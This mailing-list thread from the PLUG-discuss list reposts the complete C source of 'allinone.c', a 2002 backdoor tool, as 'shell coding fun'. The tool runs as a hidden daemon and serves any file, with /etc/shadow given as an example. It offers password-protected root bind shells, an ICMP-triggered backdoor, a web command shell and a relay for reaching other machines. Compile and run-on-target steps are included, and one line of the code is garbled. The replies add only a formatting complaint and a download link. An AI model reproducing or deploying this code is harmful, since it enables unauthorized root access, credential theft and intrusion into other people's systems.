http://nasrulkurniawan.blog.uns.ac.id/2007/05/03/allinonec/
On Sun, Jul 12, 2009 at 8:29 PM, Ryan Rix<[email protected]> wrote: > On Sun 12 July 2009 7:49:13 pm Lisa Kachold wrote: >> Shell coding fun with ICMP/HTTP, Socks proxy. >> >> AllINONE.c >> >> /************************************************************************ >> * allinone.c for HUC (2002.1) >> * >> * allinone.c is >> * a Http server, >> * a sockets transmit server, >> * a shell backdoor, >> * a icmp backdoor, >> * a bind shell backdoor, >> * a like http shell, >> * it can translate file from remote host, >> * it can give you a socks5 proxy, >> * it can use for to attack, jumps the extension, Visits other machines. >> * it can give you a root shell.:) >> * >> * Usage: >> * compile: >> * gcc -o allinone allinone.c -lpthread >> * run on target: >> * ./allinone >> * >> * 1.httpd server >> * Client: >> * http://target:8008/givemefile/etc/passwd >> * lynx -dump http://target:8008/givemefile/etc/shadow > shadow >> * or wget http://target:8008/givemefile/etc/shadow >> * >> * 2.icmp backdoor >> * Client: >> * ping -l 101 target (on windows) >> * ping -s 101 -c 4 target (on linux) >> * nc target 8080 >> * kissme:) --> your password >> * >> * 3.shell backdoor >> * Client: >> * nc target 8008 >> * kissme:) --> your password >> * >> * 4.bind a root shell on your port >> * Client: >> * http://target:8008/bindport:9999 >> * nc target 9999 >> * kissme:) --> your password >> * >> * 5.sockets transmit >> * Client: >> * http://target:8008/socks/:local listen port::you want to tran >> ip:::you want to tran port >> * http://target:8008/socks/:1080::192.168.0.1:::21 >> * nc target 1080 >> * >> * 6.http shell >> * Client: >> * http://target:8008/givemeshell:ls -al (no pipe) >> * >> * ps: >> * All bind shell have a passwd, default is: kissme:) >> * All bind shell will close, if Two minutes do not have the connection. >> * All bind shell only can use one time until reactivates. >> * >> * >> * Code by lion, e-mail: [email protected] >> * Welcome to HUC Website, Http://www.cnhonker.com >> * >> * Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others) >> * Thx bkbll's Transmit code, and thx Neil,con,iceblood for test. >> * >> ************************************************************************/ >> >> >> #include <stdio.h> >> #include <string.h> >> #include <signal.h> >> #include <netdb.h> >> #include <netinet/ip.h> >> #include <netinet/in.h> >> #include <sys/wait.h> >> #include <sys/socket.h> >> #include <sys/types.h> >> #include <sys/time.h> >> #include <pthread.h> >> #include <unistd.h> >> #include <fcntl.h> >> #include <errno.h> >> >> >> #define HTTPD_PORT 8008 >> #define BIND_PORT 8888 >> #define ICMP_PORT 8080 >> #define TRAN_PORT 1080 >> #define SIZEPACK 101 >> #define MAXSIZE 32768 >> #define TIMEOUT 120 >> #define CONNECT_NUMBER 1 >> #define HIDEME "[login] " >> #define HIDEICMP "[su] " >> #define HIDEFILE "[bash] " >> #define GET_FILE "givemefile" >> #define SHELL_NAME "givemeshell" >> #define BIND_NAME "bindport" >> #define TRAN_NAME "socks" >> #define DISPART ":" >> #define DISPART1 "::" >> #define DISPART2 ":::" >> #define PASSWORD "kissme:)" /* Change it */ >> #define MESSAGE "\r\n========Welcome to >> http://www.cnhonker.com========\r\n==========You got it, have a >> goodluck. :)=========\r\n\r\nYour command: \0" >> #define GIVEPASS "\r\nEnter Your password: \0" >> >> #define max(a, b) (a)>(b)?(a) : (b) >> >> int maxfd, infd, outfd; >> unsigned char ret_buf[32768]; >> >> int daemon_init(); /* init the daemon, if success return 0 other >> <0 */ >> void sig_chid(); /* wait the child die */ >> int TCP_listen(); /* success return 1 else return -1 */ >> char* read_file(); /* return the file content as a large string, >> buf >> value like GET /index.html HTTP:/1.1 */ >> ssize_t writen_file(); /* writen data to socket */ >> int bind_shell(); /* bind a root shell to a port */ >> int get_shell(); /* get me the root shell */ >> int icmp_shell(); /* icmp backdoor */ >> int socks(); /* socks */ >> int create_socket(); >> int create_serv(); >> int client_connect(); >> int quit(); >> void out2in(); >> char x2c(); /* http shell */ >> void unescape_url(); >> void plustospace(); >> >> >> /* The main function from here */ >> int main(int argc, char *argv[]) >> { >> int fd, len, i, icmp; >> int csocket; >> struct sockaddr_in caddr; >> char readstr[4000]; >> char *cbuf; >> pid_t pid; >> >> /* make it to a daemon */ >> /*signal(SIGHUP, SIG_IGN);*/ >> signal(SIGCHLD, sig_chid); >> daemon_init(); >> >> if((pid = fork()) == -1) exit(0); >> if(pid <= 0) >> { >> strcpy(argv[0], HIDEICMP); >> icmp_shell(); >> } >> >> fd = TCP_listen(HTTPD_PORT); >> if(fd <= 0) return -1; >> >> for(;;) >> { >> strcpy(argv[0], HIDEME); >> >> /* check httpd */ >> len = sizeof(caddr); >> if((csocket = accept(fd, &caddr, &len)) < 0) continue; >> if((pid = fork()) == -1) continue; >> if(pid <= 0) >> { >> strcpy (argv[0], HIDEFILE); >> i = recv(csocket, readstr, 4000,0); >> if (i == -1) break; >> if( readstr[ i -1 ] != '\n' ) break; >> readstr [i] = '\0'; >> /*printf("Read from client: %s \n", readstr);*/ >> cbuf = read_file(readstr, csocket); >> close(csocket); >> } >> close(csocket); >> } >> close(fd); >> return(1); >> } >> >> >> /* init the daemon, if success return 0 other <0 */ >> int daemon_init() >> { >> struct sigaction act; >> int i, maxfd; >> >> if(fork() != 0) exit(0); >> if(setsid() < 0) return(-1); >> >> act.sa_handler = SIG_IGN; >> /*act.sa_mask = 0;*/ >> act.sa_flags = 0; >> >> sigaction(SIGHUP, &act, 0); >> >> if(fork() != 0) exit(0); >> >> chdir("/"); >> umask(0); >> maxfd = sysconf(_SC_OPEN_MAX); >> for(i=0; i<maxfd; i++) >> close(i); >> open("/dev/null", O_RDWR); >> dup(0); >> dup(1); >> dup(2); >> return(0); >> } >> >> >> /* wait the child die */ >> void sig_chid(int signo) >> { >> pid_t pid; >> int stat; >> while((pid = waitpid(-1, &stat, WNOHANG))>0); >> printf("children %d died\n", pid); >> return; >> } >> >> /* success return 1 else return -1 */ >> int TCP_listen(int port) >> { >> struct sockaddr_in laddr ; >> int fd; >> socklen_t len ; >> fd = socket(AF_INET, SOCK_STREAM, 0); >> len = sizeof(laddr) ; >> memset(&laddr, 0, len) ; >> laddr.sin_addr.s_addr = htonl(INADDR_ANY) ; >> laddr.sin_family = AF_INET ; >> laddr.sin_port = htons(port) ; >> if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1); >> if(listen(fd, 5)) return(-1); >> return(fd); >> } >> >> /* http server */ >> char * read_file(char *buf, int fd) >> { >> char *erro= >> "Content-type: text/html\n\n" >> "HTTP/1.1 404 Not Found\n" >> "Date: Mon, 14 Jan 2002 03:19:55 GMT\n" >> "Server: Apache/1.3.22 (Unix)\n" >> "Connection: close\n" >> "Content-Type: text/html\n\n" >> "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n" >> "<HTML><HEAD>\n" >> "<TITLE>404 Not Found</TITLE>\n" >> "</HEAD><BODY>\n" >> "<H1>Not Found</H1>\n" >> "The requested URL was not found on this server.<P>\n" >> "<HR>\n" >> "<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>\n" >> "</BODY></HTML>\n\n"; >> >> char *bindok= >> "Content-type: text/html\n\n" >> "<html>\n<head><title>Bind Shell ok.:)</title></head>\n" >> "<body bgcolor=\"#000000\">\n" >> "<div align=\"center\"><p>\n" >> "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n" >> "You get it, goodluck! :-)\n" >> "</b></font></p></div><br>\n" >> "</body></html>\n\n"; >> >> char *tranok= >> "Content-type: text/html\n\n" >> "<html>\n<head><title>Tran ok.:)</title></head>\n" >> "<body bgcolor=\"#000000\">\n" >> "<div align=\"center\"><p>\n" >> "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n" >> "Tran ok!\n" >> "</b></font></p></div><br>\n" >> "</body></html>\n\n"; >> >> char *httpok1= >> "Content-type: text/html\n\n" >> "<html>\n<head><title>Shell ok.:)</title></head>\n" >> "<body bgcolor=\"#000000\">\n" >> "<div align=\"left\">\n" >> "<pre><font face=\"Arial\" color=\"#999999\" size=\"2\">\n"; >> >> char *httpok2= >> "</font></pre></div><br>\n" >> "</body></html>\n\n"; >> >> char *yourcom= >> "<b>Your Command:</b>\n"; >> >> char *br= >> "<br>\n"; >> >> int listenp, targetp, i, j, c, bport; >> char *cmd, *par, *op, *hp, *tp, *targeth, *command; >> char *swap_file = "/tmp/tmp.txt"; >> char *setpath = >> "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:."; >> FILE *f; >> >> /* check give me shell */ >> cmd = buf; >> par = strstr(cmd, PASSWORD); >> if(par != NULL) >> { >> /*printf("Get Shell:\n");*/ >> get_shell(fd); >> exit(0); >> } >> >> /* check bind root shell on a port */ >> par = strstr(cmd, BIND_NAME); >> op = strstr(cmd, DISPART); >> if(par != NULL && op != NULL) >> { >> bport = atoi(op + strlen(DISPART)); >> if(bport <= 0) >> bport = BIND_PORT; >> /*printf("Bind Port: %d\n", bport);*/ >> write(fd, bindok, strlen(bindok)); >> close(fd); >> bind_shell(bport); >> exit(0); >> } >> >> /* check Tran code */ >> par = strstr(cmd, TRAN_NAME); >> op = strstr(cmd, DISPART); >> hp = strstr(cmd, DISPART1); >> tp = strstr(cmd, DISPART2); >> if(par != NULL && op != NULL && hp != NULL && tp != NULL) >> { >> listenp = atoi(op + strlen(DISPART)); >> if(listenp <= 0) >> listenp = TRAN_PORT; >> targetp = atoi(tp + strlen(DISPART2)); >> if(targetp <= 0) >> targetp = 23; >> >> hp = (hp + strlen(DISPART1)); >> targeth = strncpy(ret_buf, hp,strlen(hp) - strlen(tp)); >> targeth[strlen(hp) - strlen(tp)] = '\0'; >> >> /*printf("Tran Port: listen %d port to %s %d port\n", listenp, >> targeth, targetp);*/ >> write(fd, tranok, strlen(tranok)); >> close(fd); >> /* >> listenp = 1080; >> targetp = 21; >> targeth = "192.168.0.14"; >> */ >> socks(listenp, targeth, targetp); >> exit(0); >> } >> >> /* check http shell */ >> par = strstr(cmd, SHELL_NAME); >> op = strstr(cmd, DISPART); >> if(par != NULL && op != NULL) >> { >> tp = buf + 5 + strlen(SHELL_NAME) + strlen(DISPART); >> hp = strstr(tp, "HTTP"); >> if(hp != NULL) *hp = '\0'; >> tp[strlen(tp) - 1] = 0; >> plustospace(tp); >> unescape_url(tp); >> /*printf("HTTP Shell: %s\n", tp);*/ >> >> c = j = strlen(tp); >> tp[j] = ' ';j++; >> tp[j] = ' ';j++; >> tp[j] = '>';j++; >> tp[j] = ' ';j++; >> for(i = 0; i <= strlen(swap_file); i++, j++) >> { >> tp[j] = swap_file[i]; >> } >> tp[j + strlen(swap_file)] = '\0'; >> >> command = tp; >> /*printf("command: %s\n",command); */ >> setuid(0); >> setgid(0); >> chdir("/"); >> putenv(setpath); >> /*printf("setpath ok!\n");*/ >> system(command); >> /*printf("system ok!\n");*/ >> >> f = fopen(swap_file, "r"); >> if (f == NULL) >> { >> /*printf("Swap file error");*/ >> writen_file(fd, erro, strlen(erro)); >> return erro; >> } >> >> writen_file(fd, httpok1, strlen(httpok1)); >> writen_file(fd, yourcom, strlen(yourcom)); >> writen_file(fd, command, c); >> writen_file(fd, br, strlen(br)); >> writen_file(fd, br, strlen(br)); >> while( !feof(f) ) >> { >> i = fread(ret_buf, 1, 32768, f); >> if (i == 0) break; >> writen_file(fd, ret_buf, i); >> } >> fclose(f); >> writen_file(fd, br, strlen(br)); >> writen_file(fd, httpok2, strlen(httpok2)); >> remove(swap_file); >> exit(0); >> } >> >> /* check getfile */ >> par = NULL; >> par = strstr(cmd, GET_FILE); >> if(par != NULL) >> { >> op = buf + 5 + strlen(GET_FILE); >> tp = strstr(op, "HTTP"); >> if(tp != NULL) *tp = '\0'; >> op[strlen(op) - 1] = 0; >> /*printf("Get File: %s\n", op);*/ >> f = fopen(op, "r"); >> if (f == NULL) >> { >> writen_file(fd, erro, strlen(erro)); >> return erro; >> } >> >> while( !feof(f) ) >> { >> i = fread(ret_buf, 1, 32768, f); >> if (i == 0) break; >> writen_file(fd, ret_buf, i); >> } >> fclose(f); >> exit(0); >> } >> writen_file(fd, erro, strlen(erro)); >> close(fd); >> exit(-1); >> } >> >> >> /* writen data to socket */ >> ssize_t writen_file(int fd, const void *vptr, size_t n) >> { >> size_t nleft; >> ssize_t nwritten; >> const char *ptr; >> ptr = vptr; >> nleft = n; >> while(nleft > 0) >> { >> if((nwritten = write(fd, ptr, nleft)) <= 0) >> { >> if(errno == EINTR) >> nwritten = 0; >> else >> return(-1); >> } >> nleft -= nwritten; >> ptr += nwritten; >> } >> return(n); >> } >> >> /* bind root shell to a port */ >> int bind_shell(int port) >> { >> int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time; >> char passwd[15]; >> >> struct sockaddr_in serv_addr; >> struct sockaddr_in client_addr; >> struct timeval testtime; >> >> setuid(0); >> setgid(0); >> seteuid(0); >> setegid(0); >> >> chdir("/"); >> >> soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); >> >> if (soc_des == -1) >> exit(-1); >> >> bzero((char *) &serv_addr,sizeof(serv_addr)); >> serv_addr.sin_family = AF_INET; >> serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); >> serv_addr.sin_port = htons(port); >> >> soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, >> sizeof(serv_addr)); >> >> if (soc_rc != 0) >> exit(-1); >> if (fork() != 0) >> exit(0); >> setpgrp(); >> if (fork() != 0) >> exit(0); >> soc_rc = listen(soc_des, 5); >> if (soc_rc != 0) >> exit(0); >> >> testtime.tv_sec = TIMEOUT; >> testtime.tv_usec = 0; >> >> /*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime, >> sizeof(testtime));*/ >> >> alarm(TIMEOUT); >> soc_len = sizeof(client_addr); >> soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); >> >> if (soc_cli < 0) >> exit(0); >> alarm(0); >> >> cli_pid = getpid(); >> server_pid = fork(); >> >> if (server_pid != 0) >> { >> write(soc_cli, GIVEPASS, strlen(GIVEPASS)); >> recv(soc_cli, passwd, sizeof(passwd), 0); >> >> for (i = 0; i < strlen(passwd); i++) >> { >> if (passwd[i] == '\n' || passwd[i] == '\r') >> { >> passwd[i] = '\0'; >> } >> } >> >> if (strcmp(passwd, PASSWORD) != 0) >> { >> close(soc_cli); >> close(soc_rc); >> exit(-1); >> } >> >> write(soc_cli, MESSAGE, strlen(MESSAGE)); >> for (i = 0; i < 3; i++) >> { >> dup2(soc_cli, i); >> } >> >> execl("/bin/sh","sh",(char *)0); >> close(soc_cli); >> close(soc_rc); >> exit(1); >> } >> close(soc_cli); >> close(soc_rc); >> exit(0); >> } >> >> /* return a root shell */ >> int get_shell(int fd) >> { >> int i; >> setuid(0); >> setgid(0); >> >> chdir("/"); >> write(fd, MESSAGE, strlen(MESSAGE)); >> for (i = 0; i < 3; i++) >> { >> dup2(fd, i); >> } >> execl("/bin/sh","sh",(char *)0); >> close(fd); >> return 1; >> } >> >> /* icmp backdoor */ >> int icmp_shell() >> { >> int i, s, size, fromlen, port = ICMP_PORT; >> char pkt[4096]; >> >> struct protoent *proto; >> struct sockaddr_in from; >> >> proto = getprotobyname("icmp"); >> >> /* can't creat raw socket */ >> if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) >> exit(0); >> >> /* waiting for packets */ >> while(1) >> { >> do >> { >> fromlen = sizeof(from); >> if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct >> sockaddr >> *)&from, &fromlen)) < 0) >> printf("", size - 28); >> }while(size != SIZEPACK + 28); >> >> /* size == SIZEPACK, let's bind the shell on your port :)*/ >> switch(fork()) >> { >> case -1: >> continue; >> >> case 0: >> bind_shell(port); >> exit (0); >> } >> } >> return 1; >> } >> >> /* tran socks code */ >> int socks(int listenp, char *targeth, int targetp) >> { >> int listfd, outside, inside, size; >> pthread_t thread1; >> struct sockaddr_in client; >> >> if(!(listfd = create_socket())) exit(1); >> if(!(create_serv(listfd, listenp))) exit(1); >> >> for(;;) >> { >> size = sizeof(struct sockaddr); >> /*printf("waiting for response.........\n");*/ >> if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) >> < 0) >> { >> /*printf("accept error\n");*/ >> continue; >> } >> >> /*printf("accept a client from %s\n", >> inet_ntoa(client.sin_addr));*/ >> if(!(infd=create_socket())) exit(1); >> if(!(client_connect(infd, targeth, targetp))) quit(outfd, >> infd, listfd); >> >> maxfd = max(outfd, infd) + 1; >> pthread_create(&thread1, NULL, (void *)&out2in, NULL); >> } >> close(listfd); >> } >> >> int create_socket() >> { >> int sockfd; >> >> if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0) >> { >> /*printf("Create socket error\n");*/ >> return(0); >> } >> return(sockfd); >> } >> >> int create_serv(int sockfd, int port) >> { >> struct sockaddr_in srvaddr; >> >> bzero(&srvaddr, sizeof(struct sockaddr)); >> srvaddr.sin_port = htons(port); >> srvaddr.sin_family = AF_INET; >> srvaddr.sin_addr.s_addr = htonl(INADDR_ANY); >> >> if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct >> sockaddr))<0) >> { >> /*printf("Bind to port %d error\n",port);*/ >> return(0); >> } >> >> if(listen(sockfd,CONNECT_NUMBER)<0) >> { >> /*printf("listen error\n");*/ >> return(0); >> } >> return(1); >> } >> >> int client_connect(int sockfd, char *server, int port) >> { >> struct sockaddr_in cliaddr; >> struct hostent *host; >> >> if(!(host = gethostbyname(server))) >> { >> /*printf("gethostbyname error:%s\n",server);*/ >> return(0); >> } >> >> bzero(&cliaddr, sizeof(struct sockaddr)); >> cliaddr.sin_family = AF_INET; >> cliaddr.sin_port = htons(port); >> cliaddr.sin_addr = *((struct in_addr *)host->h_addr); >> >> if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct >> sockaddr)) < >> 0) { >> /*printf("connect %s:%d error\n",server,port);*/ >> return(0); >> } >> return(1); >> } >> >> int quit(int a, int b, int c) >> { >> close(a); >> close(b); >> close(c); >> exit(1); >> } >> >> void out2in() >> { >> struct timeval timeset; >> fd_set readfd, writefd; >> int result, i = 0; >> char read_in1[MAXSIZE], send_out1[MAXSIZE]; >> char read_in2[MAXSIZE], send_out2[MAXSIZE]; >> int read1 = 0, totalread1 = 0, send1=0; >> int read2 = 0, totalread2 = 0, send2=0; >> int out_fd, in_fd; >> >> out_fd = outfd; >> in_fd = infd; >> >> bzero(read_in1, MAXSIZE); >> bzero(read_in2, MAXSIZE); >> bzero(send_out1, MAXSIZE); >> bzero(send_out2, MAXSIZE); >> >> timeset.tv_sec = TIMEOUT; >> timeset.tv_usec = 0; >> >> while(1) >> { >> FD_ZERO(&readfd); >> FD_ZERO(&writefd); >> >> FD_SET(out_fd, &readfd); >> FD_SET(in_fd, &writefd); >> FD_SET(out_fd, &writefd); >> FD_SET(in_fd, &readfd); >> >> result = select(maxfd, &readfd, &writefd, NULL, °¡et); >> if(result < 0) >> { >> /*printf("select error\n");*/ >> return; >> } >> else >> if(result == 0) >> { >> /*printf("time out\n");*/ >> return; >> } >> >> if(FD_ISSET(out_fd, &readfd)) >> { >> read1 = recv(out_fd, read_in1, MAXSIZE, 0); >> if(read1 == 0) break; >> if(read1 < 0) >> { >> /*printf("read data error\n");*/ >> return; >> } >> memcpy(send_out1 + totalread1, read_in1, read1); >> totalread1 += read1; >> bzero(read_in1, MAXSIZE); >> } >> if(FD_ISSET(in_fd, &writefd)) >> { >> while(totalread1 > 0) >> { >> send1 = write(in_fd, send_out1, totalread1); >> if(send1 == 0)break; >> if(send1 < 0) >> { >> /*printf("unknow error\n");*/ >> continue; >> } >> totalread1 -= send1; >> } >> bzero(send_out1, MAXSIZE); >> } >> >> if(FD_ISSET(in_fd, &readfd)) >> { >> read2 = recv(in_fd, read_in2, MAXSIZE, 0); >> if(read2 == 0) break; >> if(read2 < 0) >> { >> /*printf("read data error\n");*/ >> return; >> } >> >> memcpy(send_out2 + totalread2, read_in2, read2); >> totalread2 += read2; >> bzero(read_in2, MAXSIZE); >> } >> >> if(FD_ISSET(out_fd, &writefd)) >> { >> while(totalread2 > 0) >> { >> send2 = write(out_fd, send_out2, totalread2); >> if(send2 == 0) break; >> if(send2 < 0) >> { >> /*printf("unknow error\n");*/ >> continue; >> } >> >> totalread2 -= send2; >> } >> bzero(send_out2, MAXSIZE); >> } >> } >> close(out_fd); >> close(in_fd); >> return; >> } >> >> char x2c(char *what) >> { >> register char digit; >> >> digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - >> '0')); >> digit *= 16; >> digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - >> '0')); >> return (digit); >> } >> >> >> void unescape_url(char *url) >> { >> register int x, y; >> >> for(x = 0 , y = 0; url[y]; ++x, ++y) >> { >> if((url[x] = url[y]) == '%') >> { >> url[x] = x2c(&url[y + 1]); >> y += 2; >> } >> } >> url[x] = '\0'; >> } >> >> void plustospace(char *str) >> { >> register int x; >> >> for(x = 0; str[x]; x++) >> if (str[x] == '+') >> str[x] = ' '; >> } >> >> >> endfun > > This would be so much better as an attachment so my mail client didn't die > horribly and it could be translated to a compilable file easily ;) > > --- > Ryan Rix > (623)-826-0051 > > Linus Torvalds: >> This is the special easter release of linux, more mundanely called 1.3.84 > Winfried Truemper: >> Umh, oh. What do you mean by "special easter release"?. Will it quit >> working today and rise on easter? > > http://hackersramblings.wordpress.com | http://twitter.com/phrkonaleash > XMPP: [email protected] | MSN: [email protected] > AIM: phrkonaleash | Yahoo: phrkonaleash > IRC: [email protected]/#srcedit,#teensonlinux,#plugaz and > countless other FOSS channels. > > > --------------------------------------------------- > PLUG-discuss mailing list - [email protected] > To subscribe, unsubscribe, or to change your mail settings: > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Get it here: http://www.obnosis.com/allinone_c.txt -- http://linuxgazette.net/164/kachold.html (623)239-3392 Skype: obn0sis (503)754-4452 www.obnosis.com --------------------------------------------------- PLUG-discuss mailing list - [email protected] To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
